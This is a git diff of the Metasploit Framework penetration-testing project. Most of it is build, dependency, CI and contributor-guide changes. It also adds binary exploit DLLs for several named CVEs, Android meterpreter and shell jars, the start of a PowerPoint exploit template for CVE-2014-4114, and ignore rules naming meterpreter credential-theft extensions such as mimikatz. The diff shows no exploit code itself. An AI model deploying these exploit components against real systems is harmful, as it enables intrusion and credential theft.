diff --git a/.gitignore b/.gitignore index 82e108ff0c..47ace45b2e 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,6 @@ .bundle +Gemfile.local +Gemfile.local.lock # Rubymine project directory .idea # Sublime Text project directory (not created by ST by default) @@ -11,10 +13,10 @@ .DS_Store # database config for testing config/database.yml +# target config file for testing +features/support/targets.yml # simplecov coverage data coverage -data/meterpreter/ext_server_pivot.x86.dll -data/meterpreter/ext_server_pivot.x64.dll doc/ external/source/meterpreter/java/bin external/source/meterpreter/java/build @@ -48,6 +50,30 @@ tags *.opensdf *.user +# Rails log directory +/log +# Rails tmp directory +/tmp + # ignore release/debug folders for exploits external/source/exploits/**/Debug external/source/exploits/**/Release + +# Avoid checking in Meterpreter binaries. These are supplied upstream by +# the meterpreter_bins gem. +data/meterpreter/elevator.*.dll +data/meterpreter/ext_server_espia.*.dll +data/meterpreter/ext_server_extapi.*.dll +data/meterpreter/ext_server_incognito.*.dll +data/meterpreter/ext_server_kiwi.*.dll +data/meterpreter/ext_server_lanattacks.*.dll +data/meterpreter/ext_server_mimikatz.*.dll +data/meterpreter/ext_server_priv.*.dll +data/meterpreter/ext_server_stdapi.*.dll +data/meterpreter/metsrv.*.dll +data/meterpreter/screenshot.*.dll + +# Avoid checking in Meterpreter libs that are built from +# private source. If you're interested in this functionality, +# check out Metasploit Pro: http://metasploit.com/download +data/meterpreter/ext_server_pivot.*.dll diff --git a/.rspec b/.rspec index 0d8a01e567..7932beb709 100644 --- a/.rspec +++ b/.rspec @@ -1,2 +1,3 @@ --color --format Fivemat +--require spec_helper diff --git a/.rubocop.yml b/.rubocop.yml new file mode 100644 index 0000000000..c9ba4d1bb3 --- /dev/null +++ b/.rubocop.yml @@ -0,0 +1,79 @@ +# This list was intially created by analyzing the last three months (51 +# modules) committed to Metasploit Framework. Many, many older modules +# will have offenses, but this should at least provide a baseline for +# new modules. +# +# Updates to this file should include a 'Description' parameter for any +# explaination needed. + +# inherit_from: .rubocop_todo.yml + +Style/ClassLength: + Description: 'Most Metasploit modules are quite large. This is ok.' + Enabled: true + Exclude: + - 'modules/**/*' + +Style/Documentation: + Enabled: true + Description: 'Most Metasploit modules do not have class documentation.' + Exclude: + - 'modules/**/*' + +Style/Encoding: + Enabled: true + Description: 'We prefer binary to UTF-8.' + EnforcedStyle: 'when_needed' + +Style/LineLength: + Description: >- + Metasploit modules often pattern match against very + long strings when identifying targets. + Enabled: true + Max: 180 + +Style/MethodLength: + Enabled: true + Description: >- + While the style guide suggests 10 lines, exploit definitions + often exceed 200 lines. + Max: 300 + +# Basically everything in metasploit needs binary encoding, not UTF-8. +# Disable this here and enforce it through msftidy +Style/Encoding: + Enabled: false + +Style/NumericLiterals: + Enabled: false + Description: 'This often hurts readability for exploit-ish code.' + +Style/SpaceInsideBrackets: + Enabled: false + Description: 'Until module template are final, most modules will fail this.' + +Style/StringLiterals: + Enabled: false + Description: 'Single vs double quote fights are largely unproductive.' + +Style/WordArray: + Enabled: false + Description: 'Metasploit prefers consistent use of []' + +Style/RedundantBegin: + Exclude: + # this pattern is very common and somewhat unavoidable + # def run_host(ip) + # begin + # ... + # rescue ... + # ... + # ensure + # disconnect + # end + # end + - 'modules/**/*' + +Documentation: + Exclude: + - 'modules/**/*' diff --git a/.simplecov b/.simplecov index e8c1b367cf..32c98d818b 100644 --- a/.simplecov +++ b/.simplecov @@ -39,7 +39,6 @@ SimpleCov.configure do # Other library groups # - add_group 'Fastlib', 'lib/fastlib' add_group 'Metasm', 'lib/metasm' add_group 'PacketFu', 'lib/packetfu' add_group 'Rex', 'lib/rex' diff --git a/.travis.yml b/.travis.yml index 0b946b2c5c..d1434fed45 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,3 +1,9 @@ +env: + - RAKE_TASK=cucumber + - RAKE_TASK=cucumber:boot + - RAKE_TASK=spec SPEC_OPTS="--tag content" + - RAKE_TASK=spec SPEC_OPTS="--tag ~content" + language: ruby before_install: - rake --version @@ -14,6 +20,7 @@ before_script: - bundle exec rake --version - bundle exec rake db:create - bundle exec rake db:migrate +script: "bundle exec rake $RAKE_TASK" rvm: #- '1.8.7' diff --git a/.yardopts b/.yardopts index bb3a0e391f..b58b0bda2b 100644 --- a/.yardopts +++ b/.yardopts @@ -3,5 +3,8 @@ --exclude \.ut\.rb/ --exclude \.ts\.rb/ --files CONTRIBUTING.md,COPYING,HACKING,LICENSE +app/**/*.rb lib/msf/**/*.rb +lib/metasploit/**/*.rb lib/rex/**/*.rb +plugins/**/*.rb diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index fccd9c49a7..33c658f505 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -3,13 +3,17 @@ Thanks for your interest in making Metasploit -- and therefore, the world -- a better place! -Are you about to report a bug? If so, please use our [Redmine Bug -Tracker](https://dev.metasploit.com/redmine/projects/framework). An -account is required but it only takes a minute or two. +Are you about to report a bug? Sorry to hear it. -Are you about to report a security vulnerability in Metasploit? -If so, please take a look at Rapid's [Vulnerability -Disclosure Policy](https://www.rapid7.com/disclosure.jsp) policy. +Here's our [Issue tracker](https://github.com/rapid7/metasploit-framework/issues). +Please try to be as specific as you can about your problem, include steps +to reproduce (cut and paste from your console output if it's helpful), and +what you were expecting to happen. + +Are you about to report a security vulnerability in Metasploit itself? +How ironic! Please take a look at Rapid7's [Vulnerability +Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send +your report to security@rapid7.com using [our PGP key](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D). Are you about to contribute some new functionality, a bug fix, or a new Metasploit module? If so, read on... @@ -33,6 +37,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f ## Code Contributions * **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide). +* *Do* get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying. * **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages. * **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`. @@ -63,18 +68,14 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) #### Bug Fixes * **Do** include reproduction steps in the form of verification steps. -* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description. +* **Do** include a link to any corresponding [Issue](https://github.com/rapid7/metasploit-framework/issues) in the format of `See #1234` in your commit description. ## Bug Reports * **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com. -* **Do** create a Redmine account and report your non-vulnerability bugs there. * **Do** write a detailed description of your bug and use a descriptive title. * **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug. * **Don't** file duplicate reports - search for your bug before filing a new report. -* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead. - -Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow. If you need some more guidance, talk to the main body of open source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4) diff --git a/COPYING b/COPYING index 6e9829593e..657faf57e1 100644 --- a/COPYING +++ b/COPYING @@ -1,4 +1,4 @@ -Copyright (C) 2006-2013, Rapid7, Inc. +Copyright (C) 2006-2014, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, diff --git a/Gemfile b/Gemfile index fdc185f439..d7046d73cc 100755 --- a/Gemfile +++ b/Gemfile @@ -1,64 +1,58 @@ source 'https://rubygems.org' - -# Need 3+ for ActiveSupport::Concern -gem 'activesupport', '>= 3.0.0', '< 4.0.0' -# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb) -gem 'bcrypt' -# Needed for some admin modules (scrutinizer_add_user.rb) -gem 'json' -# Needed by msfgui and other rpc components -gem 'msgpack' -# Needed by anemone crawler -gem 'nokogiri' -# Needed by db.rb and Msf::Exploit::Capture -gem 'packetfu', '1.1.9' -# Needed by JSObfu -gem 'rkelly-remix', '0.0.6' -# Needed by anemone crawler -gem 'robots' -# Needed for some post modules -gem 'sqlite3' +# Add default group gems to `metasploit-framework.gemspec`: +# spec.add_runtime_dependency '', [] +gemspec group :db do # Needed for Msf::DbManager gem 'activerecord', '>= 3.0.0', '< 4.0.0' + + # Metasploit::Credential database models + gem 'metasploit-credential', '~> 0.12.0' # Database models shared between framework and Pro. - gem 'metasploit_data_models', '~> 0.17.0' + gem 'metasploit_data_models', '~> 0.21.1' # Needed for module caching in Mdm::ModuleDetails gem 'pg', '>= 0.11' end +group :development do + # Markdown formatting for yard + gem 'redcarpet' + # generating documentation + gem 'yard' + # for development and testing purposes + gem 'pry' +end + +group :development, :test do + # supplies factories for producing model instance for specs + # Version 4.1.0 or newer is needed to support generate calls without the + # 'FactoryGirl.' in factory definitions syntax. + gem 'factory_girl', '>= 4.1.0' + # automatically include factories from spec/factories + gem 'factory_girl_rails' + # Make rspec output shorter and more useful + gem 'fivemat', '1.2.1' + # running documentation generation tasks and rspec tasks + gem 'rake', '>= 10.0.0' + # testing framework + gem 'rspec', '>= 2.12', '< 3.0.0' + # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the + # environment is development + gem 'rspec-rails' , '>= 2.12', '< 3.0.0' +end + group :pcap do gem 'network_interface', '~> 0.0.1' # For sniffer and raw socket modules gem 'pcaprub' end -group :development do - # Markdown formatting for yard - gem 'redcarpet' - # generating documentation - gem 'yard' -end - -group :development, :test do - # supplies factories for producing model instance for specs - # Version 4.1.0 or newer is needed to support generate calls without the - # 'FactoryGirl.' in factory definitions syntax. - gem 'factory_girl', '>= 4.1.0' - # Make rspec output shorter and more useful - gem 'fivemat', '1.2.1' - # running documentation generation tasks and rspec tasks - gem 'rake', '>= 10.0.0' -end - group :test do - # Removes records from database created during tests. Can't use rspec-rails' - # transactional fixtures because multiple connections are in use so - # transactions won't work. - gem 'database_cleaner' - # testing framework - gem 'rspec', '>= 2.12' + # cucumber extension for testing command line applications, like msfconsole + gem 'aruba' + # cucumber + automatic database cleaning with database_cleaner + gem 'cucumber-rails', :require => false gem 'shoulda-matchers' # code coverage for tests # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. diff --git a/Gemfile.local.example b/Gemfile.local.example new file mode 100644 index 0000000000..1707e69605 --- /dev/null +++ b/Gemfile.local.example @@ -0,0 +1,34 @@ +## +# Example Gemfile.local file for Metasploit Framework +# +# The Gemfile.local file provides a way to use other gems that are not +# included in the standard Gemfile provided with Metasploit. +# This filename is included in Metasploit's .gitignore file, so local changes +# to this file will not accidentally show up in future pull requests. This +# example Gemfile.local includes all gems in Gemfile using instance_eval. +# It also creates a new bundle group, 'local', to hold additional gems. +# +# This file will not be used by default within the framework. As such, one +# must first install the custom Gemfile.local with bundle: +# bundle install --gemfile Gemfile.local +# +# Note that msfupdate does not consider Gemfile.local when updating the +# framework. If it is used, it may be necessary to run the above bundle +# command after the update. +# +### + +# Include the Gemfile included with the framework. This is very +# important for picking up new gem dependencies. +msf_gemfile = File.join(File.dirname(__FILE__), 'Gemfile') +if File.readable?(msf_gemfile) + instance_eval(File.read(msf_gemfile)) +end + +# Create a custom group +group :local do + # Use pry-debugger to step through code during development + gem 'pry-debugger', '~> 0.2' + # Add the lab gem so that the 'lab' plugin will work again + gem 'lab', '~> 0.2.7' +end diff --git a/Gemfile.lock b/Gemfile.lock index 5517e4fb79..d733990302 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,88 +1,239 @@ +PATH + remote: . + specs: + metasploit-framework (4.10.1.pre.dev) + actionpack (< 4.0.0) + activesupport (>= 3.0.0, < 4.0.0) + bcrypt + jsobfu (~> 0.2.0) + json + metasploit-concern (~> 0.3.0) + metasploit-model (~> 0.28.0) + meterpreter_bins (= 0.0.10) + msgpack + nokogiri + packetfu (= 1.1.9) + railties + recog (~> 1.0) + robots + rubyzip (~> 1.1) + sqlite3 + tzinfo + GEM remote: https://rubygems.org/ specs: - activemodel (3.2.14) - activesupport (= 3.2.14) + actionmailer (3.2.19) + actionpack (= 3.2.19) + mail (~> 2.5.4) + actionpack (3.2.19) + activemodel (= 3.2.19) + activesupport (= 3.2.19) builder (~> 3.0.0) - activerecord (3.2.14) - activemodel (= 3.2.14) - activesupport (= 3.2.14) + erubis (~> 2.7.0) + journey (~> 1.0.4) + rack (~> 1.4.5) + rack-cache (~> 1.2) + rack-test (~> 0.6.1) + sprockets (~> 2.2.1) + activemodel (3.2.19) + activesupport (= 3.2.19) + builder (~> 3.0.0) + activerecord (3.2.19) + activemodel (= 3.2.19) + activesupport (= 3.2.19) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.14) + activeresource (3.2.19) + activemodel (= 3.2.19) + activesupport (= 3.2.19) + activesupport (3.2.19) i18n (~> 0.6, >= 0.6.4) multi_json (~> 1.0) - arel (3.0.2) + arel (3.0.3) + arel-helpers (2.0.1) + activerecord (>= 3.1.0, < 5) + aruba (0.6.1) + childprocess (>= 0.3.6) + cucumber (>= 1.1.1) + rspec-expectations (>= 2.7.0) bcrypt (3.1.7) builder (3.0.4) - database_cleaner (1.1.1) - diff-lcs (1.2.4) - factory_girl (4.2.0) + capybara (2.4.1) + mime-types (>= 1.16) + nokogiri (>= 1.3.3) + rack (>= 1.0.0) + rack-test (>= 0.5.4) + xpath (~> 2.0) + childprocess (0.5.3) + ffi (~> 1.0, >= 1.0.11) + coderay (1.1.0) + cucumber (1.2.1) + builder (>= 2.1.2) + diff-lcs (>= 1.1.3) + gherkin (~> 2.11.0) + json (>= 1.4.6) + cucumber-rails (1.4.0) + capybara (>= 1.1.2) + cucumber (>= 1.2.0) + nokogiri (>= 1.5.0) + rails (>= 3.0.0) + diff-lcs (1.2.5) + erubis (2.7.0) + factory_girl (4.4.0) activesupport (>= 3.0.0) + factory_girl_rails (4.4.1) + factory_girl (~> 4.4.0) + railties (>= 3.0.0) + ffi (1.9.3) fivemat (1.2.1) - i18n (0.6.5) - json (1.8.0) - metasploit_data_models (0.17.0) - activerecord (>= 3.2.13) - activesupport + gherkin (2.11.6) + json (>= 1.7.6) + hike (1.2.3) + i18n (0.6.11) + journey (1.0.4) + jsobfu (0.2.1) + rkelly-remix (= 0.0.6) + json (1.8.1) + mail (2.5.4) + mime-types (~> 1.16) + treetop (~> 1.4.8) + metasploit-concern (0.3.0) + activesupport (~> 3.0, >= 3.0.0) + railties (< 4.0.0) + metasploit-credential (0.12.0) + metasploit-concern (~> 0.3.0) + metasploit-model (~> 0.28.0) + metasploit_data_models (~> 0.21.0) pg - mini_portile (0.5.1) - msgpack (0.5.5) + railties (< 4.0.0) + rubyntlm + rubyzip (~> 1.1) + metasploit-model (0.28.0) + activesupport + railties (< 4.0.0) + metasploit_data_models (0.21.1) + activerecord (>= 3.2.13, < 4.0.0) + activesupport + arel-helpers + metasploit-concern (~> 0.3.0) + metasploit-model (~> 0.28.0) + pg + railties (< 4.0.0) + recog (~> 1.0) + meterpreter_bins (0.0.10) + method_source (0.8.2) + mime-types (1.25.1) + mini_portile (0.6.0) + msgpack (0.5.9) multi_json (1.0.4) network_interface (0.0.1) - nokogiri (1.6.0) - mini_portile (~> 0.5.0) + nokogiri (1.6.3.1) + mini_portile (= 0.6.0) packetfu (1.1.9) pcaprub (0.11.3) - pg (0.16.0) - rake (10.1.0) - redcarpet (3.0.0) + pg (0.17.1) + polyglot (0.3.5) + pry (0.10.0) + coderay (~> 1.1.0) + method_source (~> 0.8.1) + slop (~> 3.4) + rack (1.4.5) + rack-cache (1.2) + rack (>= 0.4) + rack-ssl (1.3.4) + rack + rack-test (0.6.2) + rack (>= 1.0) + rails (3.2.19) + actionmailer (= 3.2.19) + actionpack (= 3.2.19) + activerecord (= 3.2.19) + activeresource (= 3.2.19) + activesupport (= 3.2.19) + bundler (~> 1.0) + railties (= 3.2.19) + railties (3.2.19) + actionpack (= 3.2.19) + activesupport (= 3.2.19) + rack-ssl (~> 1.3.2) + rake (>= 0.8.7) + rdoc (~> 3.4) + thor (>= 0.14.6, < 2.0) + rake (10.3.2) + rdoc (3.12.2) + json (~> 1.4) + recog (1.0.0) + nokogiri + redcarpet (3.1.2) rkelly-remix (0.0.6) robots (0.10.1) - rspec (2.14.1) - rspec-core (~> 2.14.0) - rspec-expectations (~> 2.14.0) - rspec-mocks (~> 2.14.0) - rspec-core (2.14.5) - rspec-expectations (2.14.2) + rspec (2.99.0) + rspec-core (~> 2.99.0) + rspec-expectations (~> 2.99.0) + rspec-mocks (~> 2.99.0) + rspec-collection_matchers (1.0.0) + rspec-expectations (>= 2.99.0.beta1) + rspec-core (2.99.1) + rspec-expectations (2.99.2) diff-lcs (>= 1.1.3, < 2.0) - rspec-mocks (2.14.3) - shoulda-matchers (2.3.0) - activesupport (>= 3.0.0) + rspec-mocks (2.99.2) + rspec-rails (2.99.0) + actionpack (>= 3.0) + activemodel (>= 3.0) + activesupport (>= 3.0) + railties (>= 3.0) + rspec-collection_matchers + rspec-core (~> 2.99.0) + rspec-expectations (~> 2.99.0) + rspec-mocks (~> 2.99.0) + rubyntlm (0.4.0) + rubyzip (1.1.6) + shoulda-matchers (2.6.2) simplecov (0.5.4) multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) + slop (3.6.0) + sprockets (2.2.2) + hike (~> 1.2) + multi_json (~> 1.0) + rack (~> 1.0) + tilt (~> 1.1, != 1.3.0) sqlite3 (1.3.9) - timecop (0.6.3) - tzinfo (0.3.37) - yard (0.8.7) + thor (0.19.1) + tilt (1.4.1) + timecop (0.7.1) + treetop (1.4.15) + polyglot + polyglot (>= 0.3.1) + tzinfo (0.3.41) + xpath (2.0.0) + nokogiri (~> 1.3) + yard (0.8.7.4) PLATFORMS ruby DEPENDENCIES activerecord (>= 3.0.0, < 4.0.0) - activesupport (>= 3.0.0, < 4.0.0) - bcrypt - database_cleaner + aruba + cucumber-rails factory_girl (>= 4.1.0) + factory_girl_rails fivemat (= 1.2.1) - json - metasploit_data_models (~> 0.17.0) - msgpack + metasploit-credential (~> 0.12.0) + metasploit-framework! + metasploit_data_models (~> 0.21.1) network_interface (~> 0.0.1) - nokogiri - packetfu (= 1.1.9) pcaprub pg (>= 0.11) + pry rake (>= 10.0.0) redcarpet - rkelly-remix (= 0.0.6) - robots - rspec (>= 2.12) + rspec (>= 2.12, < 3.0.0) + rspec-rails (>= 2.12, < 3.0.0) shoulda-matchers simplecov (= 0.5.4) - sqlite3 timecop yard diff --git a/HACKING b/HACKING index 1de1e7cfa1..17343a9f03 100644 --- a/HACKING +++ b/HACKING @@ -10,7 +10,7 @@ CONTRIBUTING.md in the same directory as this file, and to a lesser extent: The Metasploit Development Environment -https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment +https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment Common Coding Mistakes https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes diff --git a/LICENSE b/LICENSE index e16ad8f0a2..90bb002511 100644 --- a/LICENSE +++ b/LICENSE @@ -87,10 +87,6 @@ Files: lib/bit-struct.rb lib/bit-struct/* Copyright: 2005-2009, Joel VanderWerf License: Ruby -Files: lib/fastlib.rb -Copyright: 2011, Rapid7, Inc. -License: Ruby - Files: lib/metasm.rb lib/metasm/* data/cpuinfo/* Copyright: 2006-2010 Yoann GUILLOT License: LGPL-2.1 diff --git a/Rakefile b/Rakefile old mode 100644 new mode 100755 index 749f886717..c4be0fc98f --- a/Rakefile +++ b/Rakefile @@ -1,81 +1,13 @@ -require 'bundler/setup' - -pathname = Pathname.new(__FILE__) -root = pathname.parent - -# add metasploit-framework/lib to load paths so rake files can just require -# files normally without having to use __FILE__ and recalculating root and the -# path to lib -lib_pathname = root.join('lib') -$LOAD_PATH.unshift(lib_pathname.to_s) +#!/usr/bin/env rake +require File.expand_path('../config/application', __FILE__) +require 'metasploit/framework/require' +require 'metasploit/framework/spec/untested_payloads' +# @note must be before `Metasploit::Framework::Application.load_tasks` # -# load rake files like a rails engine -# +# define db rake tasks from activerecord if activerecord is in the bundle. activerecord could be not in the bundle if +# the user installs with `bundle install --without db` +Metasploit::Framework::Require.optionally_active_record_railtie -rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path - -Dir.glob(rakefile_glob) do |rakefile| - # Skip database tasks, will load them later if MDM is present - next if rakefile =~ /database\.rake$/ - load rakefile -end - -print_without = false - -begin - require 'rspec/core/rake_task' -rescue LoadError - puts "rspec not in bundle, so can't set up spec tasks. " \ - "To run specs ensure to install the development and test groups." - - print_without = true -else - RSpec::Core::RakeTask.new(:spec => 'db:test:prepare') - - task :default => :spec -end - -# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if -# YARD is not defined when yard.rake is loaded. -begin - require 'yard' -rescue LoadError - puts "yard not in bundle, so can't set up yard tasks. " \ - "To generate documentation ensure to install the development group." - - print_without = true -end - -begin - require 'metasploit_data_models' -rescue LoadError - puts "metasploit_data_models not in bundle, so can't set up db tasks. " \ - "To run database tasks, ensure to install the db bundler group." - - print_without = true -else - load 'lib/tasks/database.rake' - metasploit_data_models_task_glob = MetasploitDataModels.root.join( - 'lib', - 'tasks', - '**', - '*.rake' - ).to_s - # include tasks from metasplioit_data_models, such as `rake yard`. - # metasploit-framework specific yard options are in .yardopts - Dir.glob(metasploit_data_models_task_glob) do |path| - load path - end -end - - - -if print_without - puts "Bundle currently installed " \ - "'--without #{Bundler.settings.without.join(' ')}'." - puts "To clear the without option do `bundle install --without ''` " \ - "(the --without flag with an empty string) or " \ - "`rm -rf .bundle` to remove the .bundle/config manually and " \ - "then `bundle install`" -end +Metasploit::Framework::Application.load_tasks +Metasploit::Framework::Spec::UntestedPayloads.define_task diff --git a/app/concerns/metasploit/credential/core/to_credential.rb b/app/concerns/metasploit/credential/core/to_credential.rb new file mode 100644 index 0000000000..af91fc4938 --- /dev/null +++ b/app/concerns/metasploit/credential/core/to_credential.rb @@ -0,0 +1,23 @@ +# Adds associations to `Metasploit::Credential::Core` which are inverses of association on models under +# {BruteForce::Reuse}. +require 'metasploit/framework/credential' + +module Metasploit::Credential::Core::ToCredential + extend ActiveSupport::Concern + + included do + + def to_credential + Metasploit::Framework::Credential.new( + public: public.try(:username) || '', + private: private.try(:data) || '', + private_type: private.try(:type).try(:demodulize).try(:underscore).try(:to_sym), + realm: realm.try(:value), + realm_key: realm.try(:key), + parent: self + ) + end + + end + +end diff --git a/app/validators/metasploit.rb b/app/validators/metasploit.rb new file mode 100644 index 0000000000..4733b4b1ed --- /dev/null +++ b/app/validators/metasploit.rb @@ -0,0 +1,2 @@ +require 'metasploit/framework/file_path_validator' +require 'metasploit/framework/executable_path_validator' \ No newline at end of file diff --git a/app/validators/metasploit/framework/executable_path_validator.rb b/app/validators/metasploit/framework/executable_path_validator.rb new file mode 100644 index 0000000000..ce5450054d --- /dev/null +++ b/app/validators/metasploit/framework/executable_path_validator.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + # This is a ActiveModel custom validator that assumes the attribute + # is supposed to be the path to a regular file. It checks whether the + # file exists and whether or not it is an executable file. + class ExecutablePathValidator < ActiveModel::EachValidator + + def validate_each(record, attribute, value) + unless ::File.executable? value + record.errors[attribute] << (options[:message] || "is not a valid path to an executable file") + end + end + end + end +end + diff --git a/app/validators/metasploit/framework/file_path_validator.rb b/app/validators/metasploit/framework/file_path_validator.rb new file mode 100644 index 0000000000..4b1f5381b1 --- /dev/null +++ b/app/validators/metasploit/framework/file_path_validator.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + # This is a ActiveModel custom validator that assumes the attribute + # is supposed to be the path to a regular file. It checks whether the + # file exists and whether or not it is a regular file. + class FilePathValidator < ActiveModel::EachValidator + + def validate_each(record, attribute, value) + unless ::File.file? value + record.errors[attribute] << (options[:message] || "is not a valid path to a regular file") + end + end + end + end +end + diff --git a/config/application.rb b/config/application.rb new file mode 100644 index 0000000000..49657b4a04 --- /dev/null +++ b/config/application.rb @@ -0,0 +1,42 @@ +require 'rails' +require File.expand_path('../boot', __FILE__) + +all_environments = [ + :development, + :production, + :test +] + +Bundler.require( + *Rails.groups( + db: all_environments, + pcap: all_environments + ) +) + +# +# Railties +# + +# For compatibility with jquery-rails (and other engines that need action_view) in pro +require 'action_view/railtie' + +# +# Project +# + +require 'metasploit/framework/common_engine' +require 'metasploit/framework/database' + +module Metasploit + module Framework + class Application < Rails::Application + include Metasploit::Framework::CommonEngine + + config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)] + end + end +end + +# Silence warnings about this defaulting to true +I18n.enforce_available_locales = true diff --git a/config/boot.rb b/config/boot.rb new file mode 100644 index 0000000000..d1c7a63765 --- /dev/null +++ b/config/boot.rb @@ -0,0 +1,39 @@ +require 'pathname' +require 'rubygems' + +GEMFILE_EXTENSIONS = [ + '.local', + '' +] + +msfenv_real_pathname = Pathname.new(__FILE__).realpath +root = msfenv_real_pathname.parent.parent + +unless ENV['BUNDLE_GEMFILE'] + require 'pathname' + + GEMFILE_EXTENSIONS.each do |extension| + extension_pathname = root.join("Gemfile#{extension}") + + if extension_pathname.readable? + ENV['BUNDLE_GEMFILE'] = extension_pathname.to_path + break + end + end +end + +begin + require 'bundler' +rescue LoadError + $stderr.puts "[*] Metasploit requires the Bundler gem to be installed" + $stderr.puts " $ gem install bundler" + exit(0) +end + +Bundler.setup + +lib_path = root.join('lib').to_path + +unless $LOAD_PATH.include? lib_path + $LOAD_PATH.unshift lib_path +end diff --git a/config/cucumber.yml b/config/cucumber.yml new file mode 100644 index 0000000000..e3de143513 --- /dev/null +++ b/config/cucumber.yml @@ -0,0 +1,10 @@ +<% +rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : "" +rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}" +std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip" +ignored_tags = "--tags ~@boot --tags ~@targets" +%> +default: <%= std_opts %> <%= ignored_tags %> features +boot: <%= std_opts %> --tags @boot features +wip: --tags @wip:3 --wip features +rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip diff --git a/config/environment.rb b/config/environment.rb new file mode 100644 index 0000000000..4aa34124b9 --- /dev/null +++ b/config/environment.rb @@ -0,0 +1,5 @@ +# Load the rails application +require File.expand_path('../application', __FILE__) + +# Initialize the rails application +Metasploit::Framework::Application.initialize! diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml index 57e86cd85b..8671dfed52 100644 Binary files a/data/android/apk/AndroidManifest.xml and b/data/android/apk/AndroidManifest.xml differ diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc index 03f6c44d28..0ef9aa31f6 100644 Binary files a/data/android/apk/resources.arsc and b/data/android/apk/resources.arsc differ diff --git a/data/android/meterpreter.jar b/data/android/meterpreter.jar index 35e3ddf6b5..2750ad1f42 100644 Binary files a/data/android/meterpreter.jar and b/data/android/meterpreter.jar differ diff --git a/data/android/metstage.jar b/data/android/metstage.jar index 6803307a5f..bbb5fa120e 100644 Binary files a/data/android/metstage.jar and b/data/android/metstage.jar differ diff --git a/data/android/shell.jar b/data/android/shell.jar index 5fd680fa8f..5eed565220 100644 Binary files a/data/android/shell.jar and b/data/android/shell.jar differ diff --git a/data/exploits/CVE-2013-5045/CVE-2013-5045.dll b/data/exploits/CVE-2013-5045/CVE-2013-5045.dll new file mode 100755 index 0000000000..fd0b378216 Binary files /dev/null and b/data/exploits/CVE-2013-5045/CVE-2013-5045.dll differ diff --git a/data/exploits/CVE-2014-0257/CVE-2014-0257.dll b/data/exploits/CVE-2014-0257/CVE-2014-0257.dll new file mode 100755 index 0000000000..880dab9127 Binary files /dev/null and b/data/exploits/CVE-2014-0257/CVE-2014-0257.dll differ diff --git a/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll b/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll new file mode 100755 index 0000000000..7fea19cac3 Binary files /dev/null and b/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll differ diff --git a/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll b/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll new file mode 100755 index 0000000000..6edd668351 Binary files /dev/null and b/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll differ diff --git a/data/exploits/CVE-2014-4114/template/[Content_Types].xml b/data/exploits/CVE-2014-4114/template/[Content_Types].xml new file mode 100755 index 0000000000..f35276fe52 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/[Content_Types].xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/_rels/.rels b/data/exploits/CVE-2014-4114/template/_rels/.rels new file mode 100755 index 0000000000..7100d4b140 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/_rels/.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/docProps/app.xml b/data/exploits/CVE-2014-4114/template/docProps/app.xml new file mode 100755 index 0000000000..1601f0b643 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/docProps/app.xml @@ -0,0 +1,2 @@ + +372Microsoft Office PowerPointOn-screen Show (4:3)21000falseFonts Used2Theme1Embedded OLE Servers1Slide Titles1ArialCalibriOffice ThemePackager Shell 